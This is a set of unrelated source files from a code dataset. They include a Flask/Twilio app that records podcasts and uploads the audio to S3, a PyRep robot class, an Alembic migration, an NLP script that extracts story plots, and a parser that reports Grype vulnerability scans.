resp = s3.list_objects_v2(
Bucket=os.environ['BUCKET'],
Prefix=os.environ['AUDIO'])
data = dict()
data["offairs"] = []
data["episodes"] = []
for o in resp['Contents']:
print "filename: "+ o['Key']
fn = o['Key'].replace(os.environ['AUDIO'],'')
if "offair" in fn:
data["offairs"].append(fn[:-4])
elif fn is "":
pass
else:
month, day, year, date = getdatefromfilename(fn)
if isvaliddate(month, day, year) is True:
data["episodes"].append(fn[:-4])
print "Retreived episode list!!"
print data
return data
except Exception as e:
print "Error talking to s3"
raise
return False
# get all episodes with additional file data(for iTunes feed)
def getepsiTunes():
try:
s3 = boto3.client( 's3',
aws_access_key_id=os.environ['S3KI'],
aws_secret_access_key=os.environ['S3SK'])
print "Connected to s3!!"
resp = s3.list_objects_v2(
Bucket=os.environ['BUCKET'],
Prefix=os.environ['AUDIO'])
data = dict()
data["episodes"] = []
for o in resp['Contents']:
fn = o['Key'].replace(os.environ['AUDIO'],'')
size = o['Size']
if "offair" in fn or fn is "":
pass
else:
month, day, year, date = getdatefromfilename(fn)
dt = date.timetuple()
dts = mktime(dt)
daterfc = utils.formatdate(dts)
if isvaliddate(month, day, year) is True and isnotfuturedate(month, day, year) is True:
data["episodes"].append({
"path": os.environ['FPATH']+os.environ['AUDIO']+fn,
"title": fn[:-4],
"date": daterfc,
"duration": "",
"size": size
})
print "Retreived episode list for iTunes!!"
print data
return data
except Exception as e:
print "Error talking to s3"
raise
return False
# get latest episode
# get all episodes with additional file data(for iTunes feed)
def getlatest():
try:
s3 = boto3.client( 's3',
aws_access_key_id=os.environ['S3KI'],
aws_secret_access_key=os.environ['S3SK'])
print "Connected to s3!!"
resp = s3.list_objects_v2(
Bucket=os.environ['BUCKET'],
Prefix=os.environ['AUDIO'])
tmp = []
for o in resp['Contents']:
fn = o['Key'].replace(os.environ['AUDIO'],'')
if "offair" in fn or fn is "":
pass
else:
#print fn
month, day, year, date = getdatefromfilename(fn)
if isvaliddate(month, day, year) is True and isnotfuturedate(month, day, year) is True:
tmp.append(fn)
#print tmp
print "latest episode is: "+ tmp[-1]
return tmp[-1]
except Exception as e:
print "Error talking to s3"
raise
return False
# save file to s3
def s3save(filename, fileobj, folder):
try:
s3 = boto3.client( 's3', aws_access_key_id=os.environ['S3KI'], aws_secret_access_key=os.environ['S3SK'])
print "Connected to s3!!"
print s3.put_object(Bucket=os.environ['BUCKET'], Key=folder+filename, Body=fileobj, ACL="public-read")
print "uploaded " + filename+ " to s3!"
return True
except Exception as e:
print "Error saving "+filename+ "to s3"
raise
return False
# backup audio shortcut method
def backupaudio(data):
tfn = str(uuid.uuid4())+".mp3"
print "backup filename: "+ tfn
if s3save(tfn, data, os.environ['ORIGINAL']):
print "Backed up original audio file as: "+ tfn
else:
print "FAILED to backup original audio file"
# download audio file from twilio and return file object
def getaudio(audiourl):
data = None
try:
# get file stream
if ".mp3" in audiourl:
r = requests.get(audiourl, stream=True)
file_r = r.raw
data = file_r.read()
print "Retreived audio stream!!"
return data
elif ".mp4" in audiourl:
r = requests.get(audiourl, stream=True)
fn = str(uuid.uuid4())
with open(fn, 'wb') as f:
for chunk in r.iter_content(chunk_size = 1024*1024):
if chunk:
f.write(chunk)
f.close()
with open(fn, 'r+b') as f:
data = f.read()
# clean up local file and return the data
os.remove(fn)
return data
else:
print "not an mp3 or mp4 file!!"
return False
except Exception as e:
print "Error retreiving audio stream"
raise
#return False
# amplify audio file using streams & ffmpeg
def amplify(audio):
try:
ff = FFmpeg(
inputs={"pipe:0":None},
#outputs={"pipe:1": "-y -vn -af \"highpass=f=200, lowpass=f=3000, loudnorm=I=-14:TP=-2.0:LRA=11\" -b:a 256k -f mp3"} )
outputs={"pipe:1": "-y -af \"highpass=f=200, lowpass=f=3000, loudnorm=I=-14:LRA=1\" -b:a 256k -f mp3"} )
print ff.cmd
stdout, stderr = ff.run(
input_data=audio,
stdout=subprocess.PIPE)
#print stdout
#print stderr
print "Amplified audio!!"
return stdout
except Exception as e:
print "Error amplifying audio stream"
raise
#return False
# validate date (assumes current year, unless specified)
def isvaliddate(month, day, year=(datetime.now().year)):
correctDate = None
try:
newDate = datetime(year, month, day)
correctDate = True
except ValueError:
correctDate = False
return correctDate
# make sure date is not in the future & also a valid date
def isnotfuturedate(month, day, year):
qdate = datetime(year, month, day, tzinfo=pytz.timezone(os.environ['TZ']))
now = datetime.now(pytz.UTC)
if qdate <= now:
return True
else:
return False
"""
def save_to_s3_CLASSIC():
print "recording url: " + session['mp3url']
filename = session['airdate'].strftime("%Y-%m-%d")+".mp3"
print "filename: " + filename
# download/save url to s3
try:
# connect to s3
s3 = boto3.client(
's3',
aws_access_key_id=os.environ['S3KI'],
aws_secret_access_key=os.environ['S3SK']
)
print "connected to s3"
# get file stream
req_for_image = requests.get(session['mp3url'], stream=True)
file_object_from_req = req_for_image.raw
req_data = file_object_from_req.read()
print "got audio stream"
#AMPLIFY!!!!
ff = FFmpeg(
inputs={"pipe:0":None},
outputs={"pipe:1": "-y -af \"highpass=f=200, lowpass=f=3000, loudnorm=I=-14:TP=-2.0:LRA=11\" -b:a 256k -f mp3"} )
print ff.cmd
stdout, stderr = ff.run(
input_data=req_data,
stdout=subprocess.PIPE)
#print stdout
#print stderr
print "normalized audio"
# Upload to s3
s3.put_object(Bucket="wwaudio", Key="audio/"+filename, Body=stdout)
print "uploaded " + filename+ " to s3"
return True
except Exception as e:
print "Error uploading " + filename+ " to s3"
raise
return False
"""
def save_to_s3_url(url, filename):
print "recording url: " + url
print "filename: " + filename
# download, process, and save url to s3
try:
# get audio file stream
audio = getaudio(url)
# backup original audio
backupaudio(audio)
# amplify audio
amped_audio = amplify(audio)
# upload to s3
return s3save(filename, amped_audio, os.environ['AUDIO'])
except Exception as e:
print "Error getting, processing, or saving " + filename
raise
return False
def save_to_s3_email(date, audio):
filename = date.strftime("%Y-%m-%d")+".mp3"
print "filename: " + filename
# download, process, and save url to s3
try:
# backup original audio
backupaudio(audio)
# amplify audio
amped_audio = amplify(audio)
# upload to s3
return s3save(filename, amped_audio, os.environ['AUDIO'])
except Exception as e:
print "Error getting, processing, or saving " + filename
raise
return False
def url_check(url):
ping = requests.get(url)
print(ping.status_code)
if ping.status_code == 200:
print "OK, we found that file"
return True
else:
print "NOPE, we did not find that file"
return False
def emailback(email, subject, body):
try:
resp = requests.post(
os.environ['MAILGUNDOMAIN']+"/messages",
auth=("api", os.environ['MAILGUNKEY']),
data={"from": os.environ['PODCASTNAME']+" <"+os.environ['EMAIL']+">",
"to": [email],
"subject": subject,
"text": body})
except Exception as e:
print "Error sending email"
raise
return False
# establish current date in PT timezone
def getTime():
tz = pytz.timezone(os.environ['TZ'])
today = datetime.now(tz)
today_utc = today.astimezone(pytz.UTC)
date = today.strftime("%Y-%m-%d")
date_locale = today.strftime("%a, %B %d")
# debug lines for date info #
#print date
#print date_locale
#print today
#print today_utc
return date, date_locale, today, today_utc
### ROUTES
# Generate feed based on day of week
@app.route('/', methods=['GET'])
def index():
# get current date in PT timezone
date, date_locale, today, today_utc = getTime()
feed = {}
feed['uid'] = str(uuid.uuid4())
feed['updateDate'] = today_utc.strftime('%Y-%m-%dT%H:%M:%S.0Z')
feed['mainText'] = ''
url = os.environ['FPATH']+os.environ['AUDIO']+date+ ".mp3"
print "checking for: " + url
if url_check(url):
print "on-air"
feed['titleText'] = os.environ['PODCASTNAME']+ ' ~ '+ date_locale
feed['streamUrl'] = url
else:
print "off-air" # no content found
feed['titleText'] = os.environ['PODCASTNAME']+' is off-air right now, check back again soon!'
feed['streamUrl'] = os.environ['FPATH']+os.environ['AUDIO']+"offair_"+str(randint(0, 4))+".mp3"
feed_json = json.dumps(feed)
print feed_json
return feed_json
# return list of episodes & offairs w/ html5 audio players (kind of like an admin dashboard, but unprotected right now)
@app.route('/episodes', methods=['GET'])
@basic_auth.required
def episodes():
data = geteps()
if data:
return render_template(
'episodes.html',
phone=os.environ['PHONE'],
email=os.environ['EMAIL'],
data=data,
name=os.environ['PODCASTNAME'],
path=os.environ['FPATH']+os.environ['AUDIO'])
else:
return render_template('error.html')
# return latest episode filename (with prefix)
@app.route('/latest', methods=['GET'])
@cross_origin()
def latest():
fn = getlatest()
date = fn[:-4]
m, d, y, dt = getdatefromfilename(fn)
nice_date = dt.strftime("%B %d, %Y")
latest = {"date": date, "nice_date": nice_date, "filename": os.environ['FPATH']+os.environ['AUDIO']+ fn}
feed_json = json.dumps(latest)
print feed_json
return feed_json
# return iTunes podcast feed xml (does not include -future- episodes)
@app.route('/podcast', methods=['GET'])
def podcast():
data = getepsiTunes()
date, date_locale, today, today_utc = getTime()
dt = today.timetuple()
dts = mktime(dt)
daterfc = utils.formatdate(dts)
if data:
for ep in data['episodes']:
xml = render_template(
'feed.xml',
date=daterfc,
data=data) # FEED NEEDS A LOT OF MANUAL WORK / CONTAINS NO ENV VARS, SO NEED TO EDIT ON YOUR OWN !!!
feed = make_response(xml)
feed.headers["Content-Type"] = "application/xml"
return feed
else:
return render_template('error.html')
# Pickup call & get date
@app.route('/begin_call', methods=['GET', 'POST'])
def begin_call():
print "start /begin_call"
from_number = request.values.get('From', None)
if from_number in callers:
session['caller'] = callers[from_number]
else:
session['caller'] = "unknown"
resp = VoiceResponse()
if session['caller'] != "unknown":
resp.say("Hey " + session['caller'] + "!")
gather = Gather(input='dtmf speech', timeout=5, num_digits=4, action='/set_date', method='GET')
gather.say("Let's record a new "+os.environ['PODCASTNAME']+"!\n First, when will this episode air?\n Say the air date or punch it in using a Month Month Day Day format.\n For example, you could say October 31st or punch in 10 31.")
resp.append(gather)
resp.say("You didn't give me a date. Bye!")
else:
resp.say("Hey, this isn't for you. \nBoy Bye!")
resp.hangup()
session.clear()
return str(resp)
# validate date & record audio
@app.route("/set_date", methods=["GET", "POST"])
def set_date():
print "start /set_date"
resp = VoiceResponse()
digits = request.values.get('Digits', None)
speech = request.values.get('SpeechResult', None)
print "dtmf digits: "+ str(digits)
#print "speech recognition: " + speech
#month=0
#digits=0
year=datetime.now().year
if speech:
cal = pdt.Calendar()
time, status = cal.parse(speech)
spoken_date = datetime(*time[:6])
print "spoken date: "+ spoken_date.strftime("%A, %B %-d, %Y")
month = spoken_date.month
day = spoken_date.day
year = spoken_date.year
else:
month = int(str(digits[:2]).lstrip("0").replace(" 0", " "))
day = int(str(digits[-2:]).lstrip("0").replace(" 0", " "))
if isvaliddate(month, day, year) is True:
session['airdate'] = datetime(year,month,day)
print session['airdate'].strftime("%A, %B %-d, %Y")
resp.say("Ok " + session['caller'] + ", this episode will air "+ session['airdate'].strftime("%A, %B %-d, %Y"))
resp.say("Next, record up to 3 minutes of audio following the beep.\n Press any key when you're done.")
resp.record(max_length="180", action="/play_schedule", RecordingChannels="dual", recording_channels="dual") # 3 min max
else:
resp.say("That's not a valid date, hang up and try again.")
resp.hangup()
session.clear()
return str(resp)
# replay audio & confirm scheduling
@app.route("/play_schedule", methods=['GET', 'POST'])
def play_schedule():
print "start /play_schedule"
session['mp3url'] = request.values.get("RecordingUrl", None)
resp = VoiceResponse()
resp.say("Here's what you recorded")
resp.play(session['mp3url'])
# SCHEDULE
print "Gather digits for scheduling"
resp.say("Ok, we're almost done.")
gather = Gather(input='dtmf', timeout=15, num_digits=1, action='/save_finish', method='GET')
gather.say('To schedule this episode, press 1. Otherwise, hang up.')
resp.append(gather)
resp.say("Uhm, ok, hanging up now.")
return str(resp)
# publish audio to s3 & end call
@app.route("/save_finish", methods=["GET", "POST"])
def save_finish():
print "start /save_finish"
resp = VoiceResponse()
digits = int(request.values.get('Digits', None))
if digits == 1:
resp.say("Alright, give me a hot second...")
# save file to s3 with correct date as filename and end call
if save_to_s3_url(session['mp3url']+".mp3", session['airdate'].strftime("%Y-%m-%d")+".mp3") is True:
resp.say("And boom, you're good to go! See you next time " + session['caller'] +" !")
else:
resp.say("Yikes "+ session['caller'] + " we ran into an error saving to s3. Can you try calling in again? Sorry!!")
else:
resp.say("No problem, just hangup and call back again.")
resp.hangup()
session.clear()
return str(resp)
# process incoming email via mailgun routes (SUPER HACKY!!!)
@app.route("/email", methods=["GET", "POST"])
def email():
sender = request.form['sender']
date = request.form['subject']
#print date
month = int(date[5:-3].lstrip("0").replace(" 0", " "))
day = int(date[-2:].lstrip("0").replace(" 0", " "))
year = int(date[:4])
print "From: "+ sender
print "subject: "+ date
if sender in emailers:
print "It's an email from "+ emailers[sender]
if isvaliddate(month, day, year) is True:
fndate = datetime(year,month,day)
print "airdate: "+ fndate.strftime("%A, %B %-d, %Y")
print "audio file: "+ request.files.values()[0].filename
data = request.files.values()[0].stream.read()
if save_to_s3_email(fndate, data) is True:
print request.files.values()[0].filename+" saved!"
emailback(sender, "Your episode airs "+ fndate.strftime("%A, %B %-d, %Y"), emailers[sender]+ ", we successfully scheduled your episode.\n\nDon't reply to this email.")
return json.dumps({'success':True}), 200, {'ContentType':'application/json'}
else:
print "error saving "+attachment.filename
emailback(sender, "Error saving your episode to S3", "Try again? \n\nDon't reply to this email.")
return json.dumps({'file_saved':False}), 200, {'ContentType':'application/json'}
else:
print "incorrectly formatted date "+date
emailback(sender, "Error in your airdate", "Try again - and remember - your subject line should be 'YYYY-MM-DD', and that's it.\n\nDon't reply to this email.")
return json.dumps({'date_correct':False}), 200, {'ContentType':'application/json'}
else:
return json.dumps({'good_email':False}), 200, {'ContentType':'application/json'}
# record new video/clip using Ziggeo
@app.route("/record", methods=["GET", "POST"])
@basic_auth.required
def record():
return render_template(
'record.html',
name=os.environ['PODCASTNAME'],
key=os.environ['ZIGKEY'])
# record new video/clip using Ziggeo
@app.route("/post-record", methods=["GET", "POST"])
@basic_auth.required
def post_record():
date = request.form['airdate']
zigURL = request.form['videoURL']
if date and zigURL:
print date
print zigURL
if save_to_s3_url(zigURL, date+".mp3") is True:
print "Ok, we downloaded & amplified & saved " +zigURL+ " to s3!"
return render_template(
'newep.html',
path=os.environ['FPATH']+os.environ['AUDIO'],
date=date,
name=os.environ['PODCASTNAME'])
else:
print "Crap, we COULD NOT download, amplify, and save " +zigURL+ " to s3!"
return render_template('error.html')
else:
print "no variables brah!"
return render_template('error.html')
if __name__ == "__main__":
app.run(debug=os.environ['DEBUG'])
|
16,936 | 7616942530ecb1e4ebd932e59b5c27338010eb3a | from pyrep.robots.mobiles.nonholonomic_base import NonHolonomicBase
class TurtleBot(NonHolonomicBase):
def __init__(self, count: int = 0):
super().__init__(count, 2, 'turtlebot')
|
16,937 | 48ce690b6aba42c4003adec8d3200ea081bb5643 | """empty message
Revision ID: 35405a9f16c4
Revises:
Create Date: 2017-04-29 11:36:24.682258
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '35405a9f16c4'
down_revision = None
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.create_table('analyses',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('user_id', sa.Integer(), nullable=True),
sa.Column('source_file_id', sa.Integer(), nullable=True),
sa.ForeignKeyConstraint(['source_file_id'], ['files.id'], ),
sa.ForeignKeyConstraint(['user_id'], ['users.id'], ),
sa.PrimaryKeyConstraint('id')
)
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_table('analyses')
# ### end Alembic commands ###
|
16,938 | 10bdece86c8f954d525c1def6775fecd018faec0 | #!/usr/bin/env python3
#coding:utf-8
import json
import os
import numpy as np
from tqdm import tqdm
from nltk import tokenize
from rake_nltk import Rake
import re
from Scripts.MyModel.util import *
'''import spacy
nlp = spacy.load("en_core_web_sm")
doc = nlp("Apple is looking at buying U.K. startup for $1 billion")
for token in doc:
print(token.text, token.pos_, token.dep_)'''
def Plots(in_file_story, in_file_sensplit, out_file_name):
#open("./tmp/Plots/{}".format(out_file_name), 'w').close()
#open("./tmp/EntityAnonymizedStories/{}".format(out_file_name), 'w').close()
from allennlp.predictors.predictor import Predictor
ent_predictor = Predictor.from_path(
"https://storage.googleapis.com/allennlp-public-models/ner-elmo.2021-02-12.tar.gz")
conref_predictor = Predictor.from_path(
"https://storage.googleapis.com/allennlp-public-models/coref-spanbert-large-2021.03.10.tar.gz")
srl_predictor = Predictor.from_path(
"https://storage.googleapis.com/allennlp-public-models/structured-prediction-srl-bert.2020.12.15.tar.gz")
try:
ent_predictor._model = ent_predictor._model.cuda()
conref_predictor._model = conref_predictor._model.cuda()
srl_predictor._model = srl_predictor._model.cuda()
except:
pass
#tmp_sensplit_file = get_file_from_google_cloud_storage(in_file_sensplit)
with open(in_file_sensplit, "r") as f1:
SenSplitting = json.load(f1)[186090:186091]
#tmp_story_file = get_file_from_google_cloud_storage(in_file_story)
total_story = count_line(in_file_story)
with open(in_file_story,"r") as f:
for n_story, story in tqdm(enumerate(f.readlines()[186090:186091])):
try:
# SRL
sens = SenSplitting[n_story]
story_slr = []
n_v = 0
for sen in sens:
sen_srls = srl_predictor.predict(sen.replace("<newline> ", ""))
sen_slr = [[] for _ in sen_srls["words"]]
for tier in sen_srls["verbs"]:
for n_tag, tag in enumerate(tier["tags"]):
if re.findall(r"ARG[\d\w]*", tag) != []:
sen_slr[n_tag].append(str(n_v) + re.findall(r"ARG[\d\w]*", tag)[0])
elif re.match(r"\w+-V", tag):
sen_slr[n_tag].append(str(n_v) + "V")
else:
pass
n_v += 1
story_slr += sen_slr
print("story_slr = ",story_slr )
# conreference & entity detection
conref_dict = conref_predictor.predict(story.replace("<newline> ", ""))
ent_dict = ent_predictor.predict(story.replace("<newline> ", ""))
clusters_indices = get_cluster_indices_list(conref_dict["clusters"])
ent_indices = [n_ent for n_ent, ent in enumerate(ent_dict["tags"]) if
ent != 'O' and n_ent not in clusters_indices]
for index in ent_indices:
conref_dict["clusters"].append([[index, index]])
conref_dict["clusters"].sort()
print("conref_dict[clusters] = ",conref_dict["clusters"])
for n_cluster, cluster in enumerate(conref_dict["clusters"]):
for conref in cluster:
for n_token, token in enumerate(conref_dict["document"][:-1]):
if n_token in range(conref[0], conref[1] + 1):
if story_slr[n_token] == []:
conref_dict["document"][n_token] = "ent{}".format(n_cluster)
elif re.match(r"^\d+V$", story_slr[n_token][0]) is None:
conref_dict["document"][n_token] = "ent{}".format(n_cluster)
print("conref_dict[document] = ", conref_dict["document"])
# key words extraction
r = Rake()
r.extract_keywords_from_text(story.replace("<newline> ", ""))
key_phrases_list = r.get_ranked_phrases()
key_words_indices = []
for phrase in key_phrases_list:
word_list = list(phrase.split(" "))
for start in range(len(ent_dict["words"]) - len(word_list) + 1):
if ent_dict["words"][start:start + len(word_list)] == word_list:
key_words_indices += [index for index in range(start, start + len(word_list))]
print("key_words_indices = ",key_words_indices)
plot = []
EntityAnonymizedStory = []
# exclude "\n"
for n_word, word in enumerate(conref_dict["document"][:-1]):
try: # cut off the same ent group
if word == conref_dict["document"][n_word-1]:
same_group_label = "True"
else:
same_group_label = "False"
EntityAnonymizedStory.append(word)
except:
same_group_label = "False"
EntityAnonymizedStory.append(word)
if story_slr[n_word] != [] and \
same_group_label == "False" and \
(n_word in key_words_indices[:int(len(conref_dict["document"][:-1])*0.2)] or # reduce key words
re.match(r"^\d+V$", story_slr[n_word][0]) != None or
re.match(r"^ent\d+$", word) != None):
for n in range(len(story_slr[n_word])):
plot.append("<{}>".format(story_slr[n_word][n]))
plot.append(word)
print("plot = ", plot)
print("EntityAnonymizedStory = ",EntityAnonymizedStory)
except:
# conreference & entity detection
conref_dict = conref_predictor.predict(story.replace("<newline> ", ""))
ent_dict = ent_predictor.predict(story.replace("<newline> ", ""))
clusters_indices = get_cluster_indices_list(conref_dict["clusters"])
ent_indices = [n_ent for n_ent, ent in enumerate(ent_dict["tags"]) if
ent != 'O' and n_ent not in clusters_indices]
for index in ent_indices:
conref_dict["clusters"].append([[index, index]])
conref_dict["clusters"].sort()
for n_cluster, cluster in enumerate(conref_dict["clusters"]):
for conref in cluster:
for n_token, token in enumerate(conref_dict["document"][:-1]):
if n_token in range(conref[0], conref[1] + 1):
conref_dict["document"][n_token] = "ent{}".format(n_cluster)
# key words extraction
r = Rake()
r.extract_keywords_from_text(story.replace("<newline> ", ""))
key_phrases_list = r.get_ranked_phrases()
key_words_indices = []
for phrase in key_phrases_list:
word_list = list(phrase.split(" "))
for start in range(len(ent_dict["words"]) - len(word_list) + 1):
if ent_dict["words"][start:start + len(word_list)] == word_list:
key_words_indices += [index for index in range(start, start + len(word_list))]
plot = []
EntityAnonymizedStory = []
# exclude "\n"
for n_word, word in enumerate(conref_dict["document"][:-1]):
try: # cut off the same ent group
if word == conref_dict["document"][n_word-1]:
same_group_label = "True"
else:
same_group_label = "False"
EntityAnonymizedStory.append(word)
except:
same_group_label = "False"
EntityAnonymizedStory.append(word)
if same_group_label == "False" and \
(n_word in key_words_indices[:int(len(conref_dict["document"][:-1])*0.2)] or
re.match(r"^ent\d+$", word) != None):
plot.append(word)
if not os.path.exists("Dataset/Plots"):
os.makedirs("Dataset/Plots")
with open("Dataset/Plots/{}".format(out_file_name),"a") as f2:
f2.write(" ".join(plot) + "\n")
if not os.path.exists("Dataset/EntityAnonymizedStories"):
os.makedirs("Dataset/EntityAnonymizedStories")
with open("Dataset/EntityAnonymizedStories/{}".format(out_file_name),"a") as f3:
f3.write(" ".join(EntityAnonymizedStory))
print("{}/{} is Done!".format(n_story,total_story))
#subprocess.check_call(
# ['gsutil', 'cp', "./tmp/Plots/{}".format(out_file_name), os.path.join("gs://my_dissertation/Dataset/Plots", out_file_name)])
#subprocess.check_call(
# ['gsutil', 'cp', "./tmp/EntityAnonymizedStories/{}".format(out_file_name), os.path.join("gs://my_dissertation/Dataset/EntityAnonymizedStories", out_file_name)])
def SenSplitting(in_file,out_file_name):
'''
args: in_file: input file address, raw story
out_file_name: output file name, e.g., "train", "valid"
output: list of sentences, json file
[["sentence 1.1","sentence 1.2",sentence 1.3,...],
["sentence 2.1","sentence 2.2", "sentence 3.3",...],
...]
'''
Sentences = []
with open(in_file, "r") as f:
print("Start sentence splitting")
for line in tqdm(f.readlines()):
Sentences.append(tokenize.sent_tokenize(line))
with open("Dataset/SenSplitting/{}_target_sensplit.json".format(out_file_name), "w") as w:
json.dump(Sentences,w)
def SenEmbedding(in_file,out_file_name):
'''
args: in_file: input file address, json file with sentences split in each story
out_file_name: output file name, e.g., "train", "valid"
output: arrays of sentence embeddings, npy file, shape of sentence embeddings (1*768)
[[[senembedding 1.1],[senembedding 1.2],[senembedding 1.3],...,[]],
[[senembedding 2.1],[senembedding 2.2],[senembedding 2.3],...,[]],
...]
'''
# Source code: https://github.com/UKPLab/sentence-transformers
# import model
from sentence_transformers import SentenceTransformer
model = SentenceTransformer('paraphrase-distilroberta-base-v1')
# load sentences-split file
with open(in_file, "r") as f:
Sentences = json.load(f)
# generate sentence embeddings
sentence_embeddings = []
print("Start getting sentence embeddings")
for n in tqdm(range(len(Sentences))):
sentence_embeddings.append(model.encode(Sentences[n]))
# save array of sentence embeddings
np.save("Dataset/SenEmbedding/{}.npy".format(out_file_name), sentence_embeddings)
# load npy data
#c = np.load("../Dataset/SenEmbedding/train.npy", allow_pickle=True)
#print(c)
if __name__ == '__main__':
Plots("Dataset/WritingPrompts/train.wp_target", "Dataset/SenSplitting/train_target_sensplit.json", "train_186090_186091")
'''parser = argparse.ArgumentParser()
parser.add_argument('--MODE', type=str, choices=['Plots', 'SenSplitting', 'SenEmbeding'])
parser.add_argument('--IN_FILE', type=str)
parser.add_argument('--IN_FILE_SENSPLIT', type=str)
parser.add_argument('--OUT_FILE', type=str)
parser.add_argument('--OUT_FILE_NAME', type=str)
args = parser.parse_args()
if args.MODE == 'Plots':
Plots(args.IN_FILE, args.IN_FILE_SENSPLIT, args.OUT_FILE_NAME)
#Plots("Dataset/WritingPrompts/train.wp_target", "Dataset/SenSplitting/train_target_sensplit.json", "train")
#Plots("Dataset/WritingPrompts/valid.wp_target", "Dataset/SenSplitting/valid_target_sensplit.json", "valid")
#Plots("Dataset/WritingPrompts/test.wp_target", "Dataset/SenSplitting/test_target_sensplit.json", "test")
elif args.MODE == 'SenSplitting':
SenSplitting(args.IN_FILE, args.OUT_FILE_NAME)
#SenSplitting("../Dataset/WritingPrompts/train.wp_target","train")
#SenSplitting("../Dataset/WritingPrompts/valid.wp_target","valid")
#SenSplitting("../Dataset/WritingPrompts/test.wp_target","test")
elif args.MODE == 'SenEmbeding':
SenEmbeding(args.IN_FILE, args.OUT_FILE_NAME)
#SenEmbeding("../Dataset/SenSplitting/train_target_sensplit.json", "train")
#SenEmbeding("../Dataset/SenSplitting/valid_target_sensplit.json", "valid")
#SenEmbeding("Dataset/SenSplitting/test_target_sensplit.json", "test")'''
|
16,939 | dec87f29cfaf2d454919e346e665030c87190fee | #!/usr/bin/env python
"""Parse the JSON output of the Anchore Grype command."""
import json
import logging
import os
import sys
class ParseGrypeJSON():
"""Parse the JSON output from Anchore Grype."""
def __init__(self):
"""Create a ParseGrypeJSON object."""
if 'LOG_LEVEL' in os.environ:
log_level = os.environ['LOG_LEVEL']
else:
log_level = 'INFO'
logging.basicConfig(
format='%(levelname)s:%(message)s',
level=log_level)
if 'TOLERATE' in os.environ:
self.tolerance_name(os.environ['TOLERATE'])
else:
self.tolerance_name('Medium')
self._max_severity_level = 0
self._filename = None
self._show_all = False
if 'SHOW_ALL_VULNERABILITIES' in os.environ:
self.show_all(True)
def filename(self, filename=None):
"""
Get/set the filename.
Parameters
----------
filename : str, optional
The name of the file to be parsed.
Returns
-------
str
The name of the file to be parsed.
"""
if filename is not None:
logging.debug(f'Set filename to {filename}')
self._filename = filename
return self._filename
def max_severity_level(self, max_severity_level=None):
"""
Set the maximum severity level.
Parameters
----------
max_severity_level : int
If this value is set to a value higher than any previous value
set, this value becomes the new value.
Returns
-------
int
The maximum severity value found during the parsing.
"""
if max_severity_level is not None:
if max_severity_level > self.max_severity_level():
self._max_severity_level = max_severity_level
return self._max_severity_level
def report(self):
"""
Create a report of the non-tolerated vulnerabilities.
Returns
-------
int
Zero if all vulnerabilities have a tolerance less than or equal to
the specified tolerance. Non-zero otherwise.
"""
tolerance_name = self.tolerance_name()
valid_tolerance_names = self.valid_tolerance_names()
if tolerance_name not in self.valid_tolerance_names():
error_message = f'{tolerance_name} is not a valid tolerance '
error_message += f'({",".join(valid_tolerance_names)})'
raise ValueError(error_message)
vulnerabilities = Vulnerabilities(self.show_all())
unused_allowed_vulnerabilities = self.vulnerabilities_allowed_list()
filename = self.filename()
if filename:
stream = open(filename)
grype_data = json.load(stream)
stream.close()
else:
grype_data = json.load(sys.stdin)
logging.debug(
f'Tolerance is {self.tolerance_name()} '
+ f'({self.tolerance_level()})'
)
logging.debug(f"Grype version {grype_data['descriptor']['version']}")
for match in grype_data['matches']:
vulnerability = match['vulnerability']
artifact = match['artifact']
vulnerability_name = artifact['name']
vulnerability_installed = artifact['version']
vulnerability_id = vulnerability['id']
vulnerability_severity = vulnerability['severity']
level = self.tolerance_name2level(vulnerability_severity)
if vulnerability_id in unused_allowed_vulnerabilities:
unused_allowed_vulnerabilities.remove(vulnerability_id)
if vulnerability_id in self.vulnerabilities_allowed_list():
allowed = True
else:
allowed = False
if level <= self.tolerance_level() and not self.show_all():
add_vulnerability = False
elif level <= self.tolerance_level() and self.show_all():
add_vulnerability = True
elif level > self.tolerance_level():
if not allowed:
add_vulnerability = True
self.max_severity_level(level)
elif allowed and self.show_all():
add_vulnerability = True
else:
add_vulnerability = False
if add_vulnerability:
vulnerabilities.add(
vulnerability_name,
vulnerability_installed,
vulnerability_id,
vulnerability_severity,
allowed
)
print(vulnerabilities)
if len(unused_allowed_vulnerabilities):
for vulnerability_id in unused_allowed_vulnerabilities:
msg = f'"{vulnerability_id}" is in the allowed list '
msg += 'but not found in the scan!'
logging.warning(msg)
logging.debug(
f'Max severity level found was {self.max_severity_level()}.')
if self.max_severity_level() <= self.tolerance_level():
return 0
else:
return self.max_severity_level()
def show_all(self, show_all=None):
"""
Get or set if we are to show all.
Parameters
----------
show_all : bool, optional
Should all vulnerabilities be shown.
Returns
-------
bool
Should all vulnerabilities be shown.
"""
if show_all is not None:
self._show_all = show_all
return self._show_all
def tolerance_level(self, tolerance_level=None):
"""
Get or set the tolerance level.
Parameters
----------
tolerance_level : int, optional
The level of tolerance as an integer.
Returns
-------
int
Retuns the tolerance as an integer.
"""
if tolerance_level is not None:
self._tolerance_level = tolerance_level
return self._tolerance_level
def tolerance_name(self, tolerance_name=None):
"""
Get or set the tolerance name.
This will take the name and set to the tolerance level as well.
"""
if tolerance_name is not None:
self._tolerance_name = tolerance_name.capitalize()
level = self.tolerance_name2level(
tolerance_name.capitalize())
self.tolerance_level(level)
return self._tolerance_name
def tolerance_name2level(self, tolerance_name):
"""
Convert a tolerance name string to a tolerance level.
Returns
-------
int
An integer level representing the tolerance.
"""
tolerance_names = self.valid_tolerance_names()
for i in range(len(tolerance_names)):
if tolerance_name == tolerance_names[i]:
return i
return 0
def valid_tolerance_names(self):
"""
Return a list of valid tolerance names.
list of str
A list of valid names in order of tolerance from 'Unknown' to
'Critical'.
"""
return [
'Unknown',
'Negligible',
'Low',
'Medium',
'High',
'Critical'
]
def vulnerabilities_allowed_list(self):
"""
Return the list of allowed vulnerabilities.
Returns
-------
list of str:
The list of allowed vulnerabilities.
"""
if 'VULNERABILITIES_ALLOWED_LIST' in os.environ:
return os.environ[
'VULNERABILITIES_ALLOWED_LIST'
].split(',')
else:
return []
class Vulnerabilities:
"""Collate and report on vulnerabilities."""
def __init__(self, show_all):
"""
Create a Vulnerabilities class.
Parameters
----------
show_all : bool
Are all vulnerabilities (not just failing ones) be shown.
"""
self._vulnerabilities = []
self._show_all = show_all
def __str__(self):
"""
Return the vulnerability details as a CSV.
Returns
-------
str
A CSV string (with header).
